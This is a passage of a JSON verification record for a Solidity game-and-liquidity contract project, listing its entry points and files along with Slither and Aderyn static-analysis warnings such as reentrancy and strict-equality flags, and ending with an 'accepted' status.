tests)\n","passed":true},{"durationMs":68,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.bailOut(uint256)\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.prepareConversion()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256,address)\",\"PadLiquidity.convertChunk(address)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.executeConversion(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.retryPool(uint256)\",\"PadLiquidity.settleCrown()\",\"PadLiquidity.startConversion(uint256,uint64)\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.reclaim(address,uint256)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.noteFirstEntry(uint256)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.takeCarry(uint256,uint256)\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":257,\"docs/AUDIT-V2-HISTORY.md\":256,\"docs/AUDIT-V3-HISTORY.md\":311,\"docs/AUDIT.md\":405,\"docs/TEST-REPORT.md\":124,\"docs/VERIFY.md\":74,\"foundry.toml\":22,\"launch.json\":39,\"remappings.txt\":2,\"src/KingOfThePad.sol\":131,\"src/PadGame.sol\":789,\"src/PadHook.sol\":26,\"src/PadLiquidity.sol\":622,\"src/PadToken.sol\":94,\"src/PvPPad.sol\":310,\"src/interfaces/Interfaces.sol\":119,\"src/interfaces/PadErrors.sol\":87,\"src/libs/PadLib.sol\":120,\"test/Adversarial.t.sol\":800,\"test/AtomicDeployment.t.sol\":126,\"test/AuditV3.t.sol\":397,\"test/AuditV3CarryUpkeep.t.sol\":191,\"test/Base.t.sol\":225,\"test/CrownSettlement.t.sol\":252,\"test/Fuzz.t.sol\":293,\"test/Game.t.sol\":762,\"test/Invariants.t.sol\":580,\"test/King.t.sol\":314,\"test/LiquidityV4.t.sol\":248,\"test/Pad.t.sol\":299,\"test/Raffle.t.sol\":408,\"test/RaffleEdges.t.sol\":273,\"test/RealV4.sol\":85,\"test/Revision.t.sol\":263,\"test/V3-CONTRIBUTOR-REPORT.md\":126,\"test/V3AccountingActors.sol\":18,\"test/V3CarryProperties.t.sol\":130,\"test/V3FailureEdges.t.sol\":354,\"test/V3KingFeesInvariant.t.sol\":250,\"test/V3ResolverInvariant.t.sol\":208,\"test/V4Pad.t.sol\":851,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":7371,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/PadLiquidity.sol:588: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#588-594) sends eth to arbitrary user\n[high/medium] incorrect-exp at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) has bitwise-xor operator ^ instead of the exponentiation operator **: \n[high/medium] msg-value-loop at src/PvPPad.sol:191: PvPPad.fundGames() (src/PvPPad.sol#191-221) use msg.value in a loop: share = msg.value * pots[i_scope_0] / total (src/PvPPad.sol#215)\n[high/medium] msg-value-loop at src/PvPPad.sol:191: PvPPad.fundGames() (src/PvPPad.sol#191-221) use msg.value in a loop: share = msg.value / count (src/PvPPad.sol#215)\n[high/medium] msg-value-loop at src/PvPPad.sol:191: PvPPad.fundGames() (src/PvPPad.sol#191-221) use msg.value in a loop: share = msg.value - sent (src/PvPPad.sol#216)\n[high/medium] reentrancy-eth at src/PadGame.sol:339: Reentrancy in PadGame._conversionStep() (src/PadGame.sol#339-352):\n[high/medium] reentrancy-eth at src/PadGame.sol:770: Reentrancy in PadGame._graduate() (src/PadGame.sol#770-788):\n[high/medium] reentrancy-eth at src/PadGame.sol:379: Reentrancy in PadGame.upkeepStep(address) (src/PadGame.sol#379-391):\n[high/medium] reentrancy-eth at src/PadLiquidity.sol:258: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#258-312):\n[high/medium] reentrancy-eth at src/PadLiquidity.sol:483: Reentrancy in PadLiquidity.claim() (src/PadLiquidity.sol#483-493):\n[high/medium] reentrancy-eth at src/PadGame.sol:253: Reentrancy in PadGame.roll() (src/PadGame.sol#253-290):\n[high/medium] reentrancy-eth at src/KingOfThePad.sol:62: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#62-107):\n[high/high] uninitialized-state at src/PadGame.sol:166: PadGame.entrants (src/PadGame.sol#99) is never initialized. It is used in:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/PadGame.sol:647: PadGame._finalize(address) (src/PadGame.sol#647-716) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/PvPPad.sol:277: PvPPad.genesisFailed() (src/PvPPad.sol#277-280) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:439: PadGame.bellRang() (src/PadGame.sol#439-441) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:647: PadGame._finalize(address) (src/PadGame.sol#647-716) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:444: PadGame.status() (src/PadGame.sol#444-453) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:542: PadGame.quote(uint256) (src/PadGame.sol#542-555) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:339: PadGame._conversionStep() (src/PadGame.sol#339-352) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:770: PadGame._graduate() (src/PadGame.sol#770-788) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:558: PadGame.quoteSell(uint256) (src/PadGame.sol#558-566) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PvPPad.sol:271: PvPPad.genesisGraduated() (src/PvPPad.sol#271-275) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:763: PadGame._pay(address,uint256) (src/PadGame.sol#763-768) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:218: Reentrancy in PadLiquidity.convertChunk(address) (src/PadLiquidity.sol#218-242):\n[medium/medium] reentrancy-no-eth at src/PadGame.sol:647: Reentrancy in PadGame._finalize(address) (src/PadGame.sol#647-716):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:410: Reentrancy in PadLiquidity.collectPool(uint256,address) (src/PadLiquidity.sol#410-434):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:339: Reentrancy in PadLiquidity._distribute(uint256,bool) (src/PadLiquidity.sol#339-367):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:410: Reentrancy in PadLiquidity.collectPool(uint256,address) (src/PadLiquidity.sol#410-434):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:496: Reentrancy in PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#496-569):\n[medium/medium] reentrancy-no-eth at src/PvPPad.sol:237: Reentrancy in PvPPad._upkeep(address) (src/PvPPad.sol#237-258):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:218: Reentrancy in PadLiquidity.convertChunk(address) (src/PadLiquidity.sol#218-242):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:444: Reentrancy in PadLiquidity.burnChunk() (src/PadLiquidity.sol#444-457):\n[medium/medium] reentrancy-no-eth at src/KingOfThePad.sol:62: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#62-107):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:380: Reentrancy in PadLiquidity._collect(uint256,address) (src/PadLiquidity.sol#380-402):\n[medium/medium] reentrancy-no-eth at src/PvPPad.sol:99: Reentrancy in PvPPad.restartGenesis() (src/PvPPad.sol#99-106):\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:344: PadLiquidity._distribute(uint256,bool).floor (src/PadLiquidity.sol#344) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:550: PadLiquidity.unlockCallback(bytes).spent_scope_4 (src/PadLiquidity.sol#550) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:213: PvPPad.fundGames().sent (src/PvPPad.sol#213) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:691: PadGame._finalize(address).paid (src/PadGame.sol#691) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:312: PadGame.bailOut(uint256).latest (src/PadGame.sol#312) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:555: PadLiquidity.unlockCallback(bytes).used (src/PadLiquidity.sol#555) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:700: PadGame._finalize(address).sent (src/PadGame.sol#700) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:681: PadGame._finalize(address).returned (src/PadGame.sol#681) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:604: PadGame._resolveRoll(uint256,address).d (src/PadGame.sol#604) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:556: PadLiquidity.unlockCallback(bytes).out_scope_5 (src/PadLiquidity.sol#556) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:197: PvPPad.fundGames().count (src/PvPPad.sol#197) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:653: PadGame._finalize(address).living (src/PadGame.sol#653) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:605: PadGame._resolveRoll(uint256,address).expired (src/PadGame.sol#605) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:551: PadLiquidity.unlockCallback(bytes).bought (src/PadLiquidity.sol#551) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:198: PvPPad.fundGames().total (src/PvPPad.sol#198) is a local variable never initialized\n[medium/medium] unused-return at src/PadGame.sol:253: PadGame.roll() (src/PadGame.sol#253-290) ignores return value by rolls.push(Roll(uint32(idx - 1),imp.nonce,uint64(ARB.arbBlockNumber()),false,false,0)) (src/PadGame.sol#278)\n[medium/medium] unused-return at src/PadLiquidity.sol:258: PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#258-312) ignores return value by poolManager.initialize(key,sqrtP) (src/PadLiquidity.sol#300)\n[medium/medium] unused-return at src/PadLiquidity.sol:496: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#496-569) ignores return value by (None,fees) = poolManager.modifyLiquidity(key_scope_0,ModifyLiquidityParams(MIN_TICK,MAX_TICK,0,0),) (src/PadLiquidity.sol#525)\n[medium/medium] unused-return at src/PadLiquidity.sol:496: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#496-569) ignores return value by poolManager.donate(key,0,maxTok - owe1,) (src/PadLiquidity.sol#516)\n[medium/medium] unused-return at src/PadLiquidity.sol:596: PadLiquidity._settleToken(address,uint256) (src/PadLiquidity.sol#596-601) ignores return value by poolManager.settle() (src/PadLiquidity.sol#600)\n[medium/medium] unused-return at src/PadLiquidity.sol:496: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#496-569) ignores return value by poolManager.donate(key,maxEth - owe0,0,) (src/PadLiquidity.sol#513)\n[medium/medium] unused-return at src/PadGame.sol:166: PadGame.enter() (src/PadGame.sol#166-180) ignores return value by entrants.push(msg.sender) (src/PadGame.sol#173)\n[medium/medium] unused-return at src/PadGame.sol:191: PadGame._draw(uint256,address) (src/PadGame.sol#191-250) ignores return value by imps.push(Imp(who,0,0,0,0,0,0)) (src/PadGame.sol#239)\n[medium/medium] unused-return at src/PadLiquidity.sol:496: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#496-569) ignores return value by (delta,None) = poolManager.modifyLiquidity(key,ModifyLiquidityParams(MIN_TICK,MAX_TICK,int256(l),0),) (src/PadLiquidity.sol#502-503)\n[medium/medium] unused-return at src/PadLiquidity.sol:588: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#588-594) ignores return value by poolManager.settle{value: amount}() (src/PadLiquidity.sol#593)\n[low/medium] missing-zero-check at src/PadToken.sol:35: PadToken.initialize(string,string,address,address).game_ (src/PadToken.sol#35) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadGame.sol:154: PadGame.initialize(uint256,address,address,bool).token_ (src/PadGame.sol#154) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadGame.sol:154: PadGame.initialize(uint256,address,address,bool).liquidity_ (src/PadGame.sol#154) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadHook.sol:16: PadHook.constructor(address,address).poolManager_ (src/PadHook.sol#16) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadHook.sol:16: PadHook.constructor(address,address).liquidity_ (src/PadHook.sol#16) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadLiquidity.sol:173: PadLiquidity.deployHook(bytes32).h (src/PadLiquidity.sol#173) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadToken.sol:35: PadToken.initialize(string,string,address,address).liquidity_ (src/PadToken.sol#35) lacks a zero-check on :\n[low/medium] calls-loop at src/PadLiquidity.sol:380: PadLiquidity._collect(uint256,address) (src/PadLiquidity.sol#380-402) has external calls inside a loop: current = IArbSys(address(0x64)).arbBlockNumber() (src/PadLiquidity.sol#393)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#613)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#600)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#613)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#600)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#611)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#612)\n[low/medium] calls-loop at src/PadLiquidity.sol:380: PadLiquidity._collect(uint256,address) (src/PadLiquidity.sol#380-402) has external calls inside a loop: this.collectPool{gas: COLLECT_GAS}(idx,payee) (src/PadLiquidity.sol#384-401)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#600)\n[low/medium] calls-loop at src/PadLiquidity.sol:380: PadLiquidity._collect(uint256,address) (src/PadLiquidity.sol#380-402) has external calls inside a loop: current = IArbSys(address(0x64)).arbBlockNumber() (src/PadLiquidity.sol#393)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#611)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#612)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#611)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#612)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#612)\n[low/medium] calls-loop at src/PvPPad.sol:191: PvPPad.fundGames() (src/PvPPad.sol#191-221) has external calls inside a loop: IPadGame(games[i_scope_0]).fundPot{value: share}() (src/PvPPad.sol#218)\n[low/medium] calls-loop at src/PvPPad.sol:191: PvPPad.fundGames() (src/PvPPad.sol#191-221) has external calls inside a loop: (live,p) = IPadGame(game).isLiveForKing() (src/PvPPad.sol#201)\n[low/medium] calls-loop at src/PadLiquidity.sol:380: PadLiquidity._collect(uint256,address) (src/PadLiquidity.sol#380-402) has external calls inside a loop: this.collectPool{","passed":true},{"durationMs":575,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/PadLiquidity.sol:183: `abi.encodePacked()` Hash Collision\n[high] contract-locks-ether at src/PvPPad.sol:11: Contract locks Ether without a withdraw function\n[high] eth-send-unchecked-address at src/KingOfThePad.sol:115: ETH transferred without address checks (3 places)\n[high] incorrect-caret-operator at src/libs/PadLib.sol:53: Incorrect use of caret operator\n[high] msg-value-in-loop at src/PvPPad.sol:214: Loop contains `msg.value`\n[high] reentrancy-state-change at src/KingOfThePad.sol:63: Reentrancy: State change after external call (25 places)\n[high] unsafe-casting at src/PadLiquidity.sol:385: Unsafe Casting of integers (2 places)\n[low] costly-loop at src/PadGame.sol:224: Costly operations inside loop (4 places)\n[low] large-numeric-literal at src/KingOfThePad.sol:19: Large Numeric Literal (25 places)\n[low] literal-instead-of-constant at src/KingOfThePad.sol:73: Literal Instead of Constant (51 places)\n[low] missing-inheritance at src/KingOfThePad.sol:16: Missing Inheritance (4 places)\n[low] require-revert-in-loop at src/PadLiquidity.sol:355: Loop Contains `require`/`revert`\n[low] state-change-without-event at src/PadGame.sol:328: State Change Without Event (4 places)\n[low] state-no-address-check at src/PadGame.sol:158: Address State Variable Set Without Checks (4 places)\n[low] state-variable-could-be-immutable at src/PadLiquidity.sol:92: State Variable Could Be Immutable (3 places)\n[low] storage-array-length-not-cached at src/PadGame.sol:313: Storage Array Length not Cached\n[low] unchecked-return at src/PadGame.sol:341: Unchecked Return (7 places)\n[low] uninitialized-local-variable at src/PadGame.sol:224: Uninitialized Local Variable (7 places)\n[low] unsafe-erc20-operation at src/PadGame.sol:286: Unsafe ERC20 Operation (7 places)\n[low] unused-public-function at src/PadGame.sol:439: Public Function Not Used Internally (3 places)","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"eb405e385886d6bd518607808eddedb1ed28ee409a1944104ee22db8660e8e86","verifiedTreeHash":"a952f01a7126b7936eca998b72b61f5921ff0868","verifierVersion":"0.1.0+8fbf00a5"}]}